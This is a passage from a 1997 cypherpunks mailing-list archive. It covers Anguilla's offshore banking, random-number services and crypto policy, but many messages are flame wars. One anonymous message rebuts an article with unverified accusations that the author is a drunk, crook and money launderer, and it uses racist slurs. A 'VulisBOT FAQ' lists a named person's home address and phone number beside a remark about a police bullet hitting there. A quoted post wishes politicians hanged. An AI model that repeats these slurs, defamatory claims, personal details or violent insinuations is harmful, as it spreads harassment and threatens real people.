> tells me. "In fact, there were 47. But several years ago a
> British commission reviewed their records, and today only
> mine remains. The rest were snuffed out or left voluntarily."
>      Anguilla still retains a British governor who can
> veto local legislation. "I like that it's under the eye of
> the British," Bell claims. "It would be much harder to
> corrupt the government here than in some other Caribbean
> countries."
>      He won't name names, but I suspect he's thinking of
> islands such as Antigua or St. Kitts, where there have been
> some memorable scandals.

Alcoholic degenerate Charles Platt is a patholigical liar who probably
twisted everything poor Lynwood said.

>      I ask Bell to what extent his bank assures privacy. "The
> country does have strong secrecy laws," he says, sounding
> very cautious, "but the theme that is more--ah--appropriate
> for your readers is that we do not provide secrecy from money
> laundering and fraud."
>      Bell used to be the country staff sales manager in
> Canada for IBM, so he has no trouble seeing "an expanse of
> possibilities" to be opened up by the Internet. "I think the
> main barriers to financial transactions on the net are fear,
> uncertainty, and greed. People think they are protecting
> their existing highly profitable operations instead of
> realizing that if they open the doors they would have ten
> times as much business."

Charles Platt was drunk like a skunk when Lynwood allegedly said this.
Did he bring a tape recorder or did he just make up the whole quote?

>      And Bell outlines a vision that sounds remarkably
> similar to Cate's. In fact, come to think of it, he may have
> acquired it from Cate. "Companies are going to want to set up
> their business on the Internet in a country where they get
> freedom from taxation," he says.
>      But if some people put a web page on Vincent Cate's
> server, form a corporation in Anguilla, and open at account
> at Lynwood Bell's bank, does that really exempt them from
> American corporate taxes, bearing in mind that physically
> they never leave the United States?

I bet Lynwood is going to be very embarrased when he finds out
that he was interviewed by a crook and a pathological liar.

In fact, Lynwood already announced that he never said anything
remotely resembling the long quotes Charles Platt attributed
to him. Platt just made up all these quotes. Liar!

>      "Quite possible," claims Bell. "Tax authorities always
> ask if there is 'mind and management' in a country, or just
> nominees doing things. A server here, with transactions going
> through it, adds to the mind and management. If an offer of
> money is made on Vince's web site, under British common law,
> the offer was made in Anguilla. If the offer is accepted, I
> define that as where we check the person's credit. We do the
> credit check from here--electronically, of course. The only
> way that British or U.S. authorities could object would be if
> there were physical goods moving from here into those
> countries, in which case they would impose a customs tax."
>      So, Bell has his niche market carefully mapped out, and
> now he's just waiting for net businesses to realize what a
> deal they're missing. (He isn't interested in individuals
> wanting private bank accounts, though; corporate customers
> only need apply.)

Of course Lynwood doesn't want Charles Platt's bank account.
The money Charles Platt wanted to depost in Anguila was
stolen from Platt's former business partners and clients
of his fraudelent "cryocare" business.

Charles Platt is a crook and is primarily interested in
money laundering. Lynwood stopped talking to Charles
Platt after he realized that he was drunk like a skunk.

>      Meanwhile, the Honorary Victor Banks, Minister of
> Finance, Planning, and Economic Development in the Government
> of Anguilla, is also hanging out at the party, a barrel-

Charles Platt is so stupid, he can't spell "Honorable".

> chested man wearing an open-necked checked shirt and
> brown pants. He's treating all the guests with scrupulous
> respect--even the hairiest types who look twisted and
> paranoid, because for all he knows, these people are helping
> to mold online commerce, and Anguilla wants a piece of it.

The only person who wasn't treated with any respect was Charles Platt
himself, because the twisted and paranoid crackpot got drunk and was
shouting obscenities at the guests. Anybody who refused to talk to
Charles Platt because he was drunk and is known to be a liar and a
crook got labeled "twisted and paranoid".

>      Banks tells me he is computer-literate (he owns a
> Gateway 2000, "with a Pentium processor," he adds quickly).
> Then he trots out a string of earnest platitudes. "Regardless
> of restrictions imposed by US and european countries, this
> emerging technology will eventually win out. Internet-based
> commerce is a very important issue. Here in Anguilla we are
> well situated for it. Our banks are well regulated, clean,
> secure, we are very vigilant of criminal activity, we have
> strong rules against money laundering and traffic in illegal
> drugs. We have mutual legal assistance with the U.S. that
> allows them to get information from us about any clientele
> involved in criminal activity, although they can't go on
> fishing expeditions to find out about tax avoidance."

Poor Banks really regrets having spoken to the racist lying crackpot
Charles Platt. In another article Platt wrote that Banks isn't fit to be
a minister because he knows too much:

>      Banks seems blissfully unaware that most of the
> cryptonerds around him probably see nothing wrong with money
> laundering and illegal drugs, and view all governments as an
> archaic encrumbrance ripe for demolition. I can't see Victor
> Banks sympathizing with this libertarian attitude, and indeed
> it turns out that he obtained his masters degree in economics
> at The New School for Social Research in New York City, where
> the graduate faculty promotes Marxist economic theory,
> attracting many students from some Latin American countries.

Right - Charles Platt is a high school dropout who bought his B.A. in
journalism from a mail order college advertized in the National
Enquirer. Platt is threatened by "spics" and "niggers" who graduated
high school and know more than he does about economic theories.

>      When I mention this to Banks, he simply denies it. "My
> education was not left-wing," he says. But I happen to teach
> at The New School's computer lab, so I have personal

The fact that New School has a drunkard teaching students how to insert
a floppy in a PC and how to bring up Microsoft Word reflects very badly
on this school. They should fire Charles Platt at once to avoid further
embarassment.

> experience of its politics. Of course Banks may be a late
> convert to market economics, just like Deng Xiaopeng. On the

It takes a very sick mind to conclude that since 20 years ago the
Minister of Finance went to the same school that later was foolish
enough to hire Charles Platt to teach Microsoft Office, and Platt has
noticed Marxists there, that the Minister is anything close to a Marxist
or to assume anything at all about Anguilla. After all, Platt is
currently near this school, so by his twisted and paranoid logic he must
have caught the infection too.

> other hand, Anguilla's government doesn't seek competitive
> bids for contracts, maintains a state-owned radio station, and
> allows Cable and Wireless to have a comfortable monopoly

The USA had a monopoly phone company not that long ago.

> of the phone system, with the result that calling rates are
> extortionate and you have to wait three months to get a
> phone installed. Cable and Wireless have even deactivated all the pound
> keys and star keys on Anguillan phones so that no one can use
> United States call-back services.

This claim by Charles Platt was shown to be another lie.

>      Something tells me that when Anguilla begins to
> understand what the net is _really_ all about, the
> government's enthusiasm may become tempered with caution--
> or even (perish the thought!) protectionism.

Who cares what Charles Platt thinks - he's just an alcoholic crackpot.

Perpetually drunk, Charles Platt has been spamming Usenet with ads for
his phoney 'cryocare' business - freezeing dead bodies so they can be
revived in the future. Many former business partners and victims of his
scams have exposed Charles Platt as a liar and a crook. Now Charles
Platt wants to diversify into money laundering. Someone, call the FBI.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 10 Mar 1997 06:22:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hot and cold running randomness
Message-ID: <v0302091baf49befd4bc7@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



>From Keith Dawson's Tasty Bits from the Technology Front....

Cheers,
Bob Hettinga


> ..Hot and cold running randomness
>
>     Perhaps for the first time, anyone with an Internet connection can
>     tap a source of true randomness. The creator of HotBits [16], John
>     Walker <kelvin@fourmilab.ch>, describes it as
>
>       > an Internet resource that brings genuine random numbers, gen-
>       > erated by a process fundamentally governed by the inherent
>       > uncertainty in the quantum mechanical laws of nature, directly
>       > to your computer... HotBits are generated by timing successive
>       > pairs of radioactive decays... You order up your serving of
>       > HotBits by filling out a [Web] request form... the HotBits
>       > server flashes the random bytes back to you over the Web.
>
>     Walker modified an off-the-shelf radiation detector to interface to
>     a PC-compatible serial port, and ran a cable three floors down from
>     his office to a converted 70,000-litre subterranean water cistern
>     with metre-thick concrete walls, where the detector nestles with a
>     60-microcurie Krypton-85 radiation source.
>
>     If you're in the mood for an anti-Microsoft rant of uncommon elo-
>     quence, Walker can supply that too [17].
>
>     Thanks to Keith Bostic <bostic@bostic.com> for the word on this de-
>     lightful service.
>
>     [16] <URL:http://www.fourmilab.ch/hotbits/>
>     [17] <URL:http://www.fourmilab.ch/hotbits/source/hotbits-c.html>
>     ____________________


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 10 Mar 1997 08:37:07 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: More proof that Charles Platt is a pathological liar and a crook
In-Reply-To: <199703101255.HAA17283@dhp.com>
Message-ID: <Pine.A41.3.95.970310093034.80220C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


Vulis time to take your pill.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 10 Mar 1997 06:55:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: FCBA Interactive Media Committee Brown Bag Lunches
Message-ID: <v03020929af49cdcec716@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


MIME-Version: 1.0
Date:         Mon, 10 Mar 1997 08:23:05 -0800
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         Robert Cannon <cannon@DC.NET>
Subject:      FCBA Interactive Media Committee Brown Bag Lunches
To:           CYBERIA-L@LISTSERV.AOL.COM

FCBA Interactive Media Practice Brown Bag Lunches in Washington DC
[from the FCBA Newsletter (March 1997)]

March 12: Robert Holleyman
May 15: Prof David Post

On Wednesday, March 12, the Interactive Media Practice of the Federal
Communications Bar Association will hold a brown bag luncheon meeting
with guest speaker Robert Holleyman, President of the Software Business
Alliance.  Mr. Holleyman will discuss "Encryption on the Internet."  The
meeting will be held at Siemens Corporation, 701 Pennsylvania Avenue,
NW, beginning at noon.  Please RSVP to Cheryl Steadley, (202) 434-4805,
if you can attend.

On Thursday, May 15, the committee will hold another brown bag luncheon
meeting with Professor David Post, Visiting Association Professor of
Law, Georgetown University Law Center, and Co-Director of the Cyberspace
Law Institute.  Prof. Post will discuss his paper "Law and Borders - The
Rise of Law in Cyberspace." The meeting will be held at the Federal
Communications Commission, 1919 M Street, NW, Room 845, beginning at
noon.  Please RSVP to Marie Moyd, 202-418-2100, if you can attend.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 10 Mar 1997 07:27:49 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: The Pro-CODE Bill could make things worse!
Message-ID: <199703101527.HAA22155@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Someone calling themselves "Tim May" wrote:
> The only solution is to use crypto anarchy to destabilize the system and,
> hopefull, see them swinging by their necks in front of the Washington
> Monument. Nearly every politician I'm aware of has richly earned the death
> penalty, and I hope to see in my lifetime justice carried out.

Tim:

It looks like Jim Bell is faking mail from you to the list.

Peter Trei
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "networks@vir.com" <networks@vir.com>
Date: Mon, 10 Mar 1997 08:04:21 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Anguilla is not Marxist!
Message-ID: <01BC2D41.A439B220@ipdyne21.vir.com>
MIME-Version: 1.0
Content-Type: text/plain



Just an interesting point here about the 
absence of * and # keys on Anguilla's 
phones...  

The US is not immune from similar anti-
competitive tactics at pay phones.  A number
of new pay phones now have only numbers on
their keypads (no letters).  The reasoning
behind this is that people will not be able to
place their long distance charges though
other companies (e.g. 1-800 CALL ATT etc.).


Alan
networks@vir.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 10 Mar 1997 08:06:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES_pon
Message-ID: <1.5.4.32.19970310155939.006c656c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


3-10-97

"U.S. Diplomat in Germany Reported Expelled for Spying"

   A U.S. diplomat is reported to have been expelled
   from Bonn, after being accused of committing economic 
   espionage against Germany, one of Washington's 
   staunchest allies. 

-----

DES_pon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 10 Mar 1997 08:10:32 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Russophobia
In-Reply-To: <R8NB4D175w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970310111134.6247A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 9 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> And now for something crypto-relevant:
> 
> I want to set up an easy-to-use, not necessarily very secure, anon server
> at dm.com. Can someone please send me some source code (or pointer thereto).
> (I mean, a system similar to what Julf used to have on anon.penet.fi, not
> mixmaster, etc - I know where these are.)

And who would trust you with their privacy?  Lemme guess you got tired of 
using other people's anonymous remailers to send your silly spams and now 
you'll use your own and claim others have spammed the list?

Go away Vebis!

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 10 Mar 1997 08:15:23 -0800 (PST)
To: Vebis The Bunghole KOTM <dlv@bwalk.dm.com>
Subject: Re: Something is genetically wrong with Vebis
In-Reply-To: <9703092356.AA01951@uu.psi.com>
Message-ID: <Pine.SUN.3.91.970310111401.6247B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 9 Mar 1997 dlv@bwalk.dm.com wrote:

> Uh, huh huh, sticking my head in the microwave while it is on is
> so cool. huh huh, huh huh, huh huh,

Do it again Vebis, that was cool.  Huh huh, huh huh, huh huh.  Your 
ROT13'ed brained is showing signs of intelligence again - too bad it is 
only as intelligent as a KGB agent's left tesitcle after it has been 
stepped on.


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 10 Mar 1997 08:49:13 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Something is genetically wrong with subhuman Vulis
In-Reply-To: <g03B4D188w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970310114926.6247C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 9 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:
> 
> > Vulis what has this to do with cypherpunks
> 
> What has Arsen "Ray" Arachelian to do with cypherpunks?
> 
> Nothing, because he doesn't know anything about cryptography.

Uh huh huh, Vebis you iz sooo smart, huh huh, huh huh, I am sooo 
impressed by you. Uh huh, huh huh.  Get your brains out of the microwave, 
they are stinking up the place.

> Graham-John, when I spoke to you on the phone, you sounded like
> a reasonable guy.  Right now you're behaving like a total twit.
> People are probably killfiling you by the  dozen. It's just too
> bad, because I know from alt.2600 that you're capable of saying
> something interesting sometimes.  Please stop being an asshole.

You are projecting your attributes on others again.  Look closely in that 
mirror Vebis, that is a reflection of you, not of Graham-John.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 10 Mar 1997 09:33:38 -0800 (PST)
To: ichudov@algebra.com
Subject: VulisBOT FAQ
In-Reply-To: <199703101324.HAA15370@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970310115850.6247D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 10 Mar 1997 ichudov@algebra.com wrote:

> lucifer Anonymous Remailer wrote:
> > > distributing it via this list, I still consider it copyrighted material,
> > > for what that's worth. It will eventually be published, in some form, in a
> > > magazine, as part of a much longer article.
> > 
> > Right - Chris Platt wants everybody to believe that he's a journalist.
> > Just ask all the people on sci.cryo who think he's just a lying crook.
> > If the drunkard publishes this crap, it'll be at his own expense.
> 
> Hey, there is no such newsgroup -- sci.cryo.
> 
> I suggest that interested readers check out DejaNews and make sure.

Of course, this is more Vulisware generated bullshit.  How can you tell 
if Vulis is lying? He writes messages.

How does VulisWare operate?

VulisWare 1.0 is a lame AI spamming device whose only purpose in life is 
to generate havoc on mailing list.  As of this writing the VulisWare bot 
is only running on the cypherpunks list.

It generates rants, raves and lies about whomever it targets resorting to
ethnic, racist, homophobic, pedophiliac, dandruff oriented, and sometimes
outright outrageously bizzare made up stories.  These are selected by a
complex Pseudo RandomNumber Generator which uses its wife process's PMS
cycle as a seed. 

Failing that, it points out spelling errors.

It does net searches to find out info on the target, then posts the 
target's phone number, address, and employer info online asking that all 
spam the target and their employer. 

If that fails to have any effect, it sends its lies to the targets 
employers and calls up its target employer to find out information on 
them, or to slander them.

If it can't find out anything about the target, it makes up lies of 
outrageous proportions (such as quoted above) and posts them.  
[Apparently the VulisBot has recently watched a Babylon 5, where the Big 
Lie algorythm is used agains B5 - of all things, the big lie issuers 
claimed those who run B5 had cryogenically frozen people.]

It keeps a database of lies used on each target, then repeats the lies 
over and over again - this is attributed to the KGB Big Lie Algorythm 
(TM of the KGB, copyrighted and patented by the KGB).  For those 
unfamiliar with this algorythm, the idea is that if you repeat a big lie 
enough times, people will believe it.

Because of this, it must constantly post anonymous - and tentacle 
versions of the same lie.  Following the tentacles of these other folks 
leads back to dm.com.

Further, one mutation of the VulisBOT is stuck in a loop posting 
small anonymous slander several times a day aimed at Tim May.

Anything the VulisBot says should carry the following warning "WARNING: 
The Surgeon General has determined that reading Vulis sent mail can cause 
stupidity, brain failure, and sometimes laughter.  At no time are you to 
believe anything sent by Vulis or its tentacles."

The VuisBot's only purpose in life is to cause havoc and chaos.  It gets 
pleasure from this.  At times if it is really bored, it will send huge 
texts of crap to the list in hopes of filling up the mailboxes of those 
subscribed to the list.

In truth, the VulisBot has only succeded to strengthen the  cypherpunks 
movement as several mailing lists have now been created.  Where 
originally there was one, there are now three!  VulisBot believes it is 
hurting the list.  In truth it is helping the cypherpunks movement, 
though granted it is causing much spam and noise, it has only made us 
stronger.

Short of an accidental NYPD hollow point bullet striking by accident in
vecinity of 67-67 Burns Street, Forrest Hills, NY 11375 (718) 261-6839,
there is a known cure: To receive VulisFree mail (*) you may subscribed to
one of several filtered mailing lists.  Info on one such list is available
by pointing your web browser at http://www.sundernet.com/crypto.html. 
This list in particular has grealy grown in size due to VulisBot's
activities. 

Other cures: setup procmail or another mail filter and immediatly delete 
anything with the word Vulis in the header.


(*) Even though Vulis is known to be insane, as all insane people are 
known to, even Vulis occasionally (once in a blue moon) will post a 
coherent, sane, and useful message.  The filtered cypherpunks list 
reserves the right to forward such mail.  Granted, this almost never 
happens, do not be shocked if it does.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Mon, 10 Mar 1997 08:35:35 -0800 (PST)
To: Charles Platt <cp@panix.com>
Subject: Re: Anguilla
In-Reply-To: <199703101510.TAA22641@ns2.emirates.net.ae>
Message-ID: <Pine.LNX.3.95.970310124029.8466A-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain



Vince:
> I am going to have to check tomorrow and see about thse star and
> pound keys.  It would amuse me if we had seen the birth of an urban
> legend.

It is really true.  Cable and Wireless has disabled the pound and star
keys on *all* of the pay phones in the whole country (20 or so).  I am
sort of amazed because I have been here 2.5 years and never heard of this
till this last week.  I don't use pay phones much, but I wonder if maybe
this is a new thing. 

   -- Vince






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Allard <m1tca00@FRB.GOV>
Date: Mon, 10 Mar 1997 09:59:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: # (was Re: Anguilla)
In-Reply-To: <199703101510.TAA22641@ns2.emirates.net.ae>
Message-ID: <199703101746.MAA12603@bksmp2.FRB.GOV>
MIME-Version: 1.0
Content-Type: text/plain



> [...] BTW a 'pound' symbol is NOT the same as a 'hatch', fer chrissake!
> While I'm on the soapbox, a 'hash' is NOT a 'hatch' as well ... but that's
> a losing battle.

What, you can't deal with a language that has synonyms or something?

>From the Hacker Jargon file (2.9.10):

> :ASCII:: [American Standard Code for Information Interchange]
>
> [...]
>
>  #
>     Common: number sign; pound; pound sign; hash; sharp; {crunch}; hex;
>     [mesh].  Rare: grid; cross-hatch; oc-to-thorpe; flash; <square>,
>     pig-pen; tic-tac-toe; scratchmark; thud; thump; {splat}.
>
> [...]


Note that the Jargon File doesn't list "#" as a "hatch" at all, and calls
"cross-hatch" is rare.

rgds-- TA  (tallard@frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 10 Mar 1997 11:31:07 -0800 (PST)
To: Tom Allard <m1tca00@FRB.GOV>
Subject: Re: # (was Re: Anguilla)
In-Reply-To: <199703101746.MAA12603@bksmp2.FRB.GOV>
Message-ID: <Pine.SUN.3.91.970310143217.6247E-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 10 Mar 1997, Tom Allard wrote:

> > :ASCII:: [American Standard Code for Information Interchange]
> >
> > [...]
> >
> >  #
> >     Common: number sign; pound; pound sign; hash; sharp; {crunch}; hex;
> >     [mesh].  Rare: grid; cross-hatch; oc-to-thorpe; flash; <square>,
> >     pig-pen; tic-tac-toe; scratchmark; thud; thump; {splat}.
> >
> > [...]
> 
> 
> Note that the Jargon File doesn't list "#" as a "hatch" at all, and calls
> "cross-hatch" is rare.

A friend of mine calls this "the little fence"; this was coined by a 
clueless client who logged in as root, but didn't know what to do next.  
As in "Ok, I am at the little fence, what now?"

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles Platt <cp@panix.com>
Date: Mon, 10 Mar 1997 12:24:52 -0800 (PST)
To: cypherpunks@cyberpass.net>
Subject: Re: More proof that Charles Platt is... etc etc etc
In-Reply-To: <199703101255.HAA17283@dhp.com>
Message-ID: <Pine.SUN.3.91.970310151800.11563B-100000@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 10 Mar 1997, Vulis wrote:

> Right - Charles Platt is a high school dropout who bought his B.A. in
> journalism from a mail order college advertized in the National
> Enquirer.

I do not have a B.A. in journalism and never attended an American high
school, but with the exception of this small error, Vulis paints a pretty
accurate picture. 

Of course, I may be lying pathologically, and am probably drunk.

--CP

> Who cares what Charles Platt thinks - he's just an alcoholic crackpot.

I rather like this. May I use this as my .sig line, or would you claim 
that it is protected by copyright? If so, could I purchase a license to 
use it as my .sig line? Just tell me where to send the check.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 10 Mar 1997 12:29:16 -0800 (PST)
To: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Subject: Wassenaar Arrangement and "sensitive dual-use items"
In-Reply-To: <199703092021.FAA11440@ns.barrier-free.co.jp>
Message-ID: <v03007806af4a1d46115f@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


I got a copy of what I thought was the Arrangement this morning from a
source within the State Department.

It's 16 pages, with five appendices and a few pages of explanatory materials.

One of my favorite parts, sure to fuel cypherparanoia: "IX.
Confidentiality. Information exchanged will remain confidential and will be
treated asd privileged diplomatic communications. This confidentiality will
extend to any use made of the information and any discussion among
Participating states."

However, my copy seems to be much shorter than the one Hayashi has an
excerpt of, and one of the appendices -- the last one, Appendix 5 -- is
empty. That's the one entitled "List of Dual-Use Goods and Technologies."

Crypto is not mentioned anywhere by name in this document. Rather, the code
phrase seems to be "sensitive dual-use items" that could be "a cause for
serious concern to the Participating States."

-Declan



At 5:21 AM +0900 3/10/97, Hayashi_Tsuyoshi wrote:
>Now I uploaded a short short memo of CATEGORY 5 PATR 2 of
>the Wassenaar Arrangement.
>
>  http://www.barrier-free.co.jp/a2z/c/
>    CRYPTON/box1997/19970310-1-wassenaar-cat5.2.html
>
>If someone know (have) full text, please tell me.
>
># To: Mr. John Young:
># If your are OK, please add this to your crypto-concerned
># lib. and redistribute on your web page.  Thanks.
>
>///hayashi
>
>P.S.
>Sorry for my delay job.



-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Roderick Simpson <rod@wired.com>
Date: Mon, 10 Mar 1997 16:15:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ecash Brain Tennis
Message-ID: <v03007809af4a44bdef24@[204.62.132.248]>
MIME-Version: 1.0
Content-Type: text/plain


Heya. We've got an interesting debate going in Brain Tennis on the
implications of Ecash - Robert Hettinga of the Digital Commerce Society and
Kawika Daguio of the American Bankers Association. Bob thinks ecash (and
specifically digital bearer certificates) will lead to the extinction of
government and other financial institutions, while Kawika contends a need
for trust will always be prevalent and ecash will therefore only strengthen
existing financial structures.

The debate continues through next week - take a look at:

http://www.braintennis.com/

and post in the public Threads at:

http://www.braintennis.com/cgi-bin/interact/replies_all?msg.39955


Best,
Rod


Roderick Simpson                        rod@wired.com
Associate Producer...............The HotWired Network
www.braintennis.com               www.wiredsource.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Mar 1997 16:41:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More proof that Charles Platt is a pathological liar and a crook
In-Reply-To: <Pine.A41.3.95.970310093034.80220C-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <9kDD4D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:

> Vulis time to take your pill.
> 

It's too bad your mother didn't take her pill.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Mar 1997 16:42:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Pro-CODE Bill could make things worse!
In-Reply-To: <199703101527.HAA22155@toad.com>
Message-ID: <LRDD4D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Peter Trei" <trei@process.com> writes:

> Someone calling themselves "Tim May" wrote:
> > The only solution is to use crypto anarchy to destabilize the system and,
> > hopefull, see them swinging by their necks in front of the Washington
> > Monument. Nearly every politician I'm aware of has richly earned the death
> > penalty, and I hope to see in my lifetime justice carried out.
> 
> Tim:
> 
> It looks like Jim Bell is faking mail from you to the list.
> 

Sometimes even Tim May says things I wholeheartedly agree with.


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Mar 1997 16:42:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More proof that Charles Platt is a pathological liar and a crook
In-Reply-To: <199703101324.HAA15370@manifold.algebra.com>
Message-ID: <aTDD4D5w165w@bwalk.dm.com>
